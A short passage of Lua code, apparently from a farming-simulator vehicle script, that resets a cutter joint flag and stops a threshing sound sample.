        self.cutterAttacherJointMoveDown = false;
        if self.threshingSound ~= nil then
            stopSample(self.threshingSound);
        end;
    end;
end;